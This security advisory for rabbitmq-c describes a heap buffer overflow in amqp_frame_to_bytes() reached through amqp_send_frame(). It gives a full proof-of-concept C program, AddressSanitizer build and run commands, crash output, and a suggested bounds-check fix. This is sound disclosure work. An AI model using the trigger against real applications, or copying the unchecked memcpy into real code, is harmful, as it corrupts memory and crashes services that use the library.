Skip to content

GHSA-hfjv-vcp3-39wh on CTRL-OS 26.05

Aliases: GHSA-hfjv-vcp3-39wh

Packages: rabbitmq-c

Status: Plausible

Advisory Information

Summary

A heap buffer overflow exists in rabbitmq-c when the public amqp_send_frame() API is used to serialize an oversized AMQP_FRAME_BODY.

The issue occurs because amqp_frame_to_bytes() copies frame.payload.body_fragment.len bytes into the connection outbound buffer without validating that the body fragment fits within the allocated frame buffer. An application that passes an oversized body frame to amqp_send_frame() can trigger a heap out-of-bounds write, resulting in process crash and memory corruption.

The issue is reproducible locally and occurs before any network communication with a RabbitMQ broker.

Details

The vulnerable code path is:

amqp_send_frame()
  -> amqp_send_frame_inner()
    -> amqp_frame_to_bytes()
      -> memcpy()

In librabbitmq/amqp_connection.c, the AMQP_FRAME_BODY case serializes the body payload into the outbound frame buffer:

case AMQP_FRAME_BODY: {
  const amqp_bytes_t *body = &frame->payload.body_fragment;

  memcpy(amqp_offset(out_frame, HEADER_SIZE),
         body->bytes,
         body->len);

  out_frame_len = body->len;
  break;
}

The issue is that body->len is trusted directly. There is no validation that the body payload length is smaller than the available capacity of the outbound frame buffer.

A newly created connection allocates an outbound buffer with a default size of 65536 bytes. However, the public API allows the caller to construct an amqp_frame_t manually and pass it to amqp_send_frame(). If the frame type is AMQP_FRAME_BODY and payload.body_fragment.len is larger than the outbound buffer capacity, memcpy() writes past the end of the heap allocation.

In the reproduced case:

body_fragment.len = 200000
outbound_buffer size = 65536

This results in memcpy() attempting to copy 200000 bytes into a 65536-byte heap buffer.

The expected behavior is that amqp_send_frame() should reject the oversized frame and return an error such as AMQP_STATUS_BAD_AMQP_DATA, rather than corrupting heap memory.

Proof of Concept

The following PoC creates a new rabbitmq-c connection object, manually constructs an AMQP_FRAME_BODY, assigns a body length larger than the connection outbound buffer, and sends it through the public amqp_send_frame() API.

No RabbitMQ broker is required. The crash occurs locally during frame serialization before any socket write.

1. Build rabbitmq-c with AddressSanitizer

rm -rf build-asan

cmake -S . -B build-asan -G Ninja \
  -DBUILD_TESTING=OFF \
  -DBUILD_TOOLS=OFF \
  -DBUILD_EXAMPLES=OFF \
  -DBUILD_SHARED_LIBS=OFF \
  -DENABLE_SSL_SUPPORT=OFF \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_COMPILER=gcc \
  -DCMAKE_C_FLAGS="-g -O1 -fsanitize=address,undefined -fno-omit-frame-pointer" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined"

cmake --build build-asan -j"$(nproc)"

2. Create the PoC file

cat > poc_send_frame_body_oob.c <<'EOF'
#include <rabbitmq-c/amqp.h>
#include <rabbitmq-c/framing.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    amqp_connection_state_t conn = amqp_new_connection();
    if (conn == NULL) {
        fprintf(stderr, "amqp_new_connection failed\n");
        return 1;
    }

    /*
     * The default outbound buffer allocated by amqp_new_connection()
     * is 65536 bytes. This body length is intentionally larger.
     */
    size_t body_len = 200000;

    char *body = malloc(body_len);
    if (body == NULL) {
        fprintf(stderr, "malloc failed\n");
        amqp_destroy_connection(conn);
        return 1;
    }

    memset(body, 'A', body_len);

    amqp_frame_t frame;
    memset(&frame, 0, sizeof(frame));

    frame.frame_type = AMQP_FRAME_BODY;
    frame.channel = 1;
    frame.payload.body_fragment.bytes = body;
    frame.payload.body_fragment.len = body_len;

    printf("Sending BODY frame with len=%zu via amqp_send_frame()\n", body_len);
    fflush(stdout);

    /*
     * Vulnerable call:
     *
     * amqp_send_frame() calls amqp_frame_to_bytes(), which copies
     * body_fragment.len bytes into the connection outbound buffer
     * without checking whether the body fits.
     */
    int rc = amqp_send_frame(conn, &frame);
    printf("amqp_send_frame returned rc=%d\n", rc);

    free(body);
    amqp_destroy_connection(conn);
    return 0;
}
EOF

3. Compile the PoC

gcc -g -O1 -fsanitize=address,undefined -fno-omit-frame-pointer \
  -DAMQP_STATIC -DHAVE_CONFIG_H \
  -Iinclude \
  -Ibuild-asan/include \
  -Ibuild-asan/librabbitmq \
  -Ilibrabbitmq \
  poc_send_frame_body_oob.c \
  build-asan/librabbitmq/librabbitmq.a \
  -o poc_send_frame_body_oob

4. Run the PoC

ASAN_OPTIONS=abort_on_error=1:detect_leaks=0 \
UBSAN_OPTIONS=halt_on_error=1 \
./poc_send_frame_body_oob

5. Observed result

AddressSanitizer reports a heap-buffer-overflow write:

Sending BODY frame with len=200000 via amqp_send_frame()
=================================================================
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 200000

#0 memcpy
#1 amqp_frame_to_bytes
   librabbitmq/amqp_connection.c:467
#2 amqp_send_frame_inner
   librabbitmq/amqp_connection.c:548
#3 amqp_send_frame
   librabbitmq/amqp_connection.c:531
#4 main
   poc_send_frame_body_oob.c:35

0x7e9e30004800 is located 0 bytes after 65536-byte region
allocated by thread T0 here:
#0 realloc
#1 amqp_tune_connection
   librabbitmq/amqp_connection.c:140
#2 amqp_new_connection
   librabbitmq/amqp_connection.c:53
#3 main
   poc_send_frame_body_oob.c:8

SUMMARY: AddressSanitizer: heap-buffer-overflow
librabbitmq/amqp_connection.c:467 in amqp_frame_to_bytes

This confirms that amqp_frame_to_bytes() attempts to copy 200000 bytes into an outbound heap buffer of 65536 bytes.

Why the PoC triggers the issue

The PoC performs the following steps:

  1. Calls amqp_new_connection().
  2. This initializes a connection object and allocates the internal outbound frame buffer.
  3. Allocates a 200000-byte body buffer filled with A bytes.
  4. Creates an amqp_frame_t object manually.
  5. Sets frame.frame_type to AMQP_FRAME_BODY.
  6. Sets frame.payload.body_fragment.len to 200000.
  7. Calls the public amqp_send_frame() API.
  8. amqp_send_frame() calls amqp_frame_to_bytes().
  9. In the AMQP_FRAME_BODY case, memcpy() copies body->len bytes into the outbound buffer without checking capacity.
  10. Since the outbound buffer is only 65536 bytes, the copy writes past the end of the heap allocation.

Impact

This issue results in a heap out-of-bounds write and memory corruption inside the rabbitmq-c process.

Applications using the low-level public amqp_send_frame() API may be affected if attacker-controlled or insufficiently validated input is used to construct AMQP_FRAME_BODY frames.

The normal higher-level publishing API may avoid this by splitting message bodies into valid frame-sized chunks. However, the lower-level public frame-sending API does not enforce this bound for AMQP_FRAME_BODY.

Successful exploitation can cause process termination. Depending on the application environment and memory layout, the out-of-bounds write may also lead to broader memory corruption effects.

Suggested Fix

Before copying the body payload, validate that body->len does not exceed the available outbound buffer capacity.

A possible fix is:

case AMQP_FRAME_BODY: {
  const amqp_bytes_t *body = &frame->payload.body_fragment;
  size_t max_body_payload_size;

  if (buffer.len < HEADER_SIZE + FOOTER_SIZE) {
    return AMQP_STATUS_BAD_AMQP_DATA;
  }

  max_body_payload_size = buffer.len - HEADER_SIZE - FOOTER_SIZE;

  if (body->len > max_body_payload_size) {
    return AMQP_STATUS_BAD_AMQP_DATA;
  }

  if (body->len > 0 && body->bytes == NULL) {
    return AMQP_STATUS_INVALID_PARAMETER;
  }

  memcpy(amqp_offset(out_frame, HEADER_SIZE), body->bytes, body->len);
  out_frame_len = body->len;
  break;
}

With this validation, oversized body frames are rejected before the unsafe memcpy() call.

Updates

2026-07-27 20:28 CEST

Metadata changes:

  • Status for package rabbitmq-c: “Plausible

(Amended on: 2026-07-27 23:17 CEST)

2026-07-27 20:26 CEST

Metadata changes:

  • Status for package rabbitmq-c: “New